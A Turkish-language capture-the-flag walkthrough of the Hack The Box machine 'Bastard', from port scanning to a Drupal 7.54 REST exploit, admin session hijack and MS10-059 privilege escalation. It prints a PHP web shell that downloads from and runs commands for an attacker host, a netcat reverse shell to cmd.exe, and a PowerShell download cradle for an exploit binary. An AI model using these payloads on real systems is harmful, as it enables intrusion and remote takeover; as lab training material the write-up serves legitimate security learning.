Hack The Box — Bastard
Port Tarama
Full Port Tarama
İlk olarak hedef sistem üzerinde full port tarama işlemi gerçekleştirilir.
nmap -p- — open -vvv 10.10.10.9 -oN fullportscan
Gerçekleştirilen full port tarama işlemi sonrası açık olduğu tespit edilen portlar aşağıda verilmiştir.
80/tcp135/tcp49154/tcp
Versiyon Tarama
Ardından açık olduğu tespit edilen portlar üzerinde versiyon ve script taraması gerçekleştirilmiştir.
nmap -p 80,135,49154 -sV -sC -vvv 10.10.10.9 -oN versionscan
Bilgi Toplama
Port 80
İlgili adres tarayıcı üzerinden görüntülendiğinde aşağıda ekran görüntüsü verilen sayfa ile karşılaşılmıştır.
Ardından ilgili sayfanın kaynağı görüntülenmiş ve “Drupal 7” versiyonu kullanıldığı gözlemlenmiştir. İlgili ekran görüntüsü aşağıda verilmiştir.
Daha sonra nmap versiyon ve script taraması esnasında karşımıza çıkan “robots.txt” dosyası ziyaret edilmiştir.
Ardından “robots.txt” dosyası içerisindeki bir çok dizin ziyaret edilmiş ve “CHANGELOG.txt” dosyasında Drupal’in net versiyon bilgisi tespit edilmiştir: “Drupal 7.54”
Bu aşamada ilgili versiyon üzerinde zafiyet araştırması gerçekleştirilmiştir. Google üzerinde gerçekleştirilen araştırma sonucu hedef sistem üzerinde uzaktan komut çalıştırılmasına olanak sağlayacak bir zafiyet tespit edilmiştir.
Ardından ilgili exploitin Exploit-DB üzerinde varlığı kontrol edilmiştir.
searchsploit “Drupal 7”
İlgili exploite ait detaylara aşağıdaki link üzerinden erişilebilir.
İlgili exploit incelendiğinde içerisinde istenilen değerler aşağıda verilmiştir.
$url = 'http://vmweb.lan/drupal-7.54';
$endpoint_path = '/rest_endpoint';
$endpoint = 'rest_endpoint';
Bu değerler incelendiğinde ilk olarak “/rest_endpoint” dizininin varlığı kontrol edilmiş ancak bulunmadığı tespit edilmiştir.
http://10.10.10.9/rest_endpoint
Bu aşamada hedef sistem üzerinde ilgili dizinin tespiti için “gobuster” ile dizin taraması gerçekleştirilmiş ancak sunucudan kaynaklı gecikmeden tarama tamamlanmamıştır ve yeterli sonuç elde edilememiştir.
Ardından “dirsearch” aracı ile dizin taraması gerçekleştirilmiş ve hedef sistem üzerinde “rest” dizininin varlığı tespit edilmiştir.
Öncelikle eğer söz konusu araç sisteminizde yüklü değilse ilgili aracı aşağıdaki komut ile sisteminize yükleyebilirsiniz.
git clone https://github.com/maurosoria/dirsearch.git
Gerçekleştirilen dizin taramasına ait detaylar aşağıda verilmiştir.
python3 dirsearch.py -u http://10.10.10.9/ -x 403,404 -t 30 -e php
Ardından ilgili dizin kontrol edilmiş ve “rest_endpoint” in varlığı tespit edilmiştir.
Zafiyetin İstismarı
Bu aşamada gerekli değerler sağlandıktan sonra söz konusu exploit ilk olarak searchsploit kullanılarak saldırgan sistem üzerine kopyalanmıştır. Ancak burada düzenlensede düzgün çalışmamıştır. Ardından Google üzerinde gerçekleştirilen araştırmalarda karşımıza çıkan yukarıda exploitin detayını açıklayan siteden exploite ait kod alınmıştır. Koda ait ilgili ekran görüntüsü aşağıda verilmiştir.
İlgili kod üzerinde düzenlemesi gereken (aşağıda işaretlenen) değerler düzenlenmiştir.
Ardından ilgili exploit çalıştırılmış ve çıktısı olarak iki dosya elde edilmiştir;
user.jsonsession.json
İlgili dosyaların içeriğine ait detaylar aşağıdaki ekran görüntülerinde verilmiştir.
cat user.json
cat session.json
Ardından Firefox’da bulunan “Cookie Manager” eklentisine “session.json” dosyası içerisindeki “session_name” ve “session_id” değerleri girilmiştir.
Not: Bunun için “Burp Suite” aracı da kullanılabilir. Onda ise cookie bilgisi aşağıdaki şekilde düzenlenmelidir.
Cookie: session_name=session_id;token
Tekrar sayfa güncellendiğinde sisteme “admin” kullanıcısı olarak login olunduğu gözlemlenmiştir.
Daha sonra “Modules” sekmesinde “PHP Filter” eklentisi etkinleştirilmiştir.
Ardından ana sayfadaki “Add new content > Add content > Basic page” yolu takip edilerek ilgili alana hedef sistem üzerinde hem komut çalıştırmamızı sağlayacak hem de dosya yüklememize olanak sağlayacak aşağıda detayları verilen shellcode eklenmiştir.
<?phpif (isset($_REQUEST[‘fupload’])) {
file_put_contents($_REQUEST[‘fupload’], file_get_contents(“http://10.10.14.6:8000/" . $_REQUEST[‘fupload’]));
};if (isset($_REQUEST[‘fexec’])) {
echo “<pre>” . shell_exec($_REQUEST[‘fexec’]) . “</pre>”;
};?>
İlgili shellcode hedef sistem üzerine eklenerek kaydedilmiş ve sistem üzerinde komut çalıştırılmıştır. Sistem üzerinde komut çalıştırıldığına ve sistem detaylarına ait ekran görüntüleri aşağıda verilmiştir.
Aşağıdaki kod ile hedef sistem üzerinde “user.txt” dosyası tespit edilmiştir.
Daha sonra hedef sistem üzerinde bir oturum elde etmek adına aşağıdaki adımlar izlenmiştir. İlk olarak sistem özellikleri incelenmiş ve sistem tipinin “x64” bit olduğu gözlemlenmiştir.
Hedef sistem “x64” bit olduğu için hedefe “fupload” fonksiyonu kullanılarak aşağıdaki linkten indirilmiş olan netcat’in x64 bit versiyonu indirilmiştir.
İndirilen dizin üzerinde Python ile HTTP sunucu oluşturulmuş ve “n64.exe” dosyası başarı ile hedef sisteme yüklenmiştir.
python -m SimpleHTTPServer http://10.10.10.9/node/2?fupload=nc.64.exe
İlgili ekran görüntüleri aşağıda verilmiştir.
Ardından netcat kullanılarak hedef sistem üzerinde kalıcı oturum elde edilmiştir.
nc -nlvp 3333http://10.10.10.9/node/2?fupload=nc64.exe%2010.10.14.6%203333%20-e%20cmd.exe
Yetki Yükseltme
Hedef sistem üzerinde oturum elde edildikten sonra sistem üzerinde “systeminfo” komutu çalıştırılmıştır.
Söz konusu çıktı incelendiğinde hedefteki işletim sisteminin “Windows Server 2008 R2” , sistem tipinin “x64” olduğunu ve ilgili işletim sisteminde herhangi bir yamanın geçilmediği (Hotfix(s)) gözlemlenmektedir. Tüm bu veriler göz önüne alarak öncelikli olarak hedef sistem üzerinde yama eksikliklerinden kaynaklanan güvenlik açıklıkları tespit edilmiştir. Bunun için aşağıda link olarak detayı verilen “Windows-Exploit-Suggester” aracı kullanılabilir.
İlgili aracı henüz indirmediyseniz işletim sistemine aşağıdaki şekilde indirebilirsiniz.
git clone https://github.com/GDSSecurity/Windows-Exploit-Suggester.git
Aracı daha önce indirdiyseniz ve yama listesini güncellemek istiyorsanız aşağıdaki komutu çalıştırmanız yeterli olacaktır.
./windows-exploit-suggester.py — update
Söz konusu araç ile hedef sistem üzerindeki yama eksikliklerinden kaynaklı taramayı gerçekleştirebilmemiz için bizden iki parametre istenmektedir.
Bunlar;
- database: Güncel yama listesi.
- systeminfo: Hedef sisteme ait systeminfo çıktısı.
İlgili parametreleri sağlayarak aşağıda detaylarını verdiğimiz şekilde taramamızı gerçekleştiriyoruz.
python windows-exploit-suggester.py — database 2019–06–22-mssb.xls — systeminfo systeminfo.txt
Yukarıdaki ekran görüntüsünde görüldüğü üzere söz konusu hedef sistem üzerinde yama eksikliğinden kaynaklanan birden fazla güvenlik açıklığı bulunmaktadır. Bu açıklıklardan biri olan “MS10–059” açıklığını istismar ederek sistem üzerinde yetki yükseltme işlemi gerçekleştirilmiştir. Bunun için aşağıdaki adımlar izlenmiştir.
Söz konusu güvenlik açıklığını “exploit-db” üzerinden incelediğimizde bir diğer adı olan “Chimicchuri” exploiti önerilmektedir.
İlgili exploiti aşağıdaki şekilde saldırgan makineye indirilir.
git clone https://github.com/Re4son/Chimichurri.git
Ardından öncelikli olarak python ile HTTP sunucu başlatılır ve powershell kullanarak hedef makineye .exe uzantılı exploit dosyası yüklenir.
python -m SimpleHTTPServer 9080
İlgili exploitin hedef sisteme yüklenmesi için kullanılan kod bloğu aşağıda verilmiştir.
echo $url = “http://10.10.14.6:9080/ms10–059.exe" >>wget.ps1echo $file = “ms10–059.exe” >>wget.ps1echo $webclient.DownloadFile($url,$file) >>wget.ps1powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
“ms10–059.exe” adında hedef sisteme yüklediğimiz exploit saldırgandan iki parametre istemektedir. Bunlar ise hedef sistemde yetkili bir oturum elde edebilmemiz için saldırgan sisteme IP adresi ve reverse shell almak istenilen herhangi bir port. Söz konusu adımlar aşağıdaki şekilde gerçekleştirilmiştir.
İlk olarak dinleyici başlatılır.
nc -lvp 9876
Ardından ilgili parametreler verilerek exploit çalıştırılır.
ms10–059-exploit.exe 10.10.14.6 9876
Exploitin hedef sisteme yüklenmesine ait ekran görüntüsü aşağıda verilmiştir.
Exploitin çalıştırılması ve hedef sistem üzerinde yetki yükseltilmesine ait ekran görüntüsü aşağıda verilmiştir.
Son olarak “root.txt.txt” dosyasının içeriğinin görüntülenmesine ait ekran görüntüsü aşağıda verilmiştir.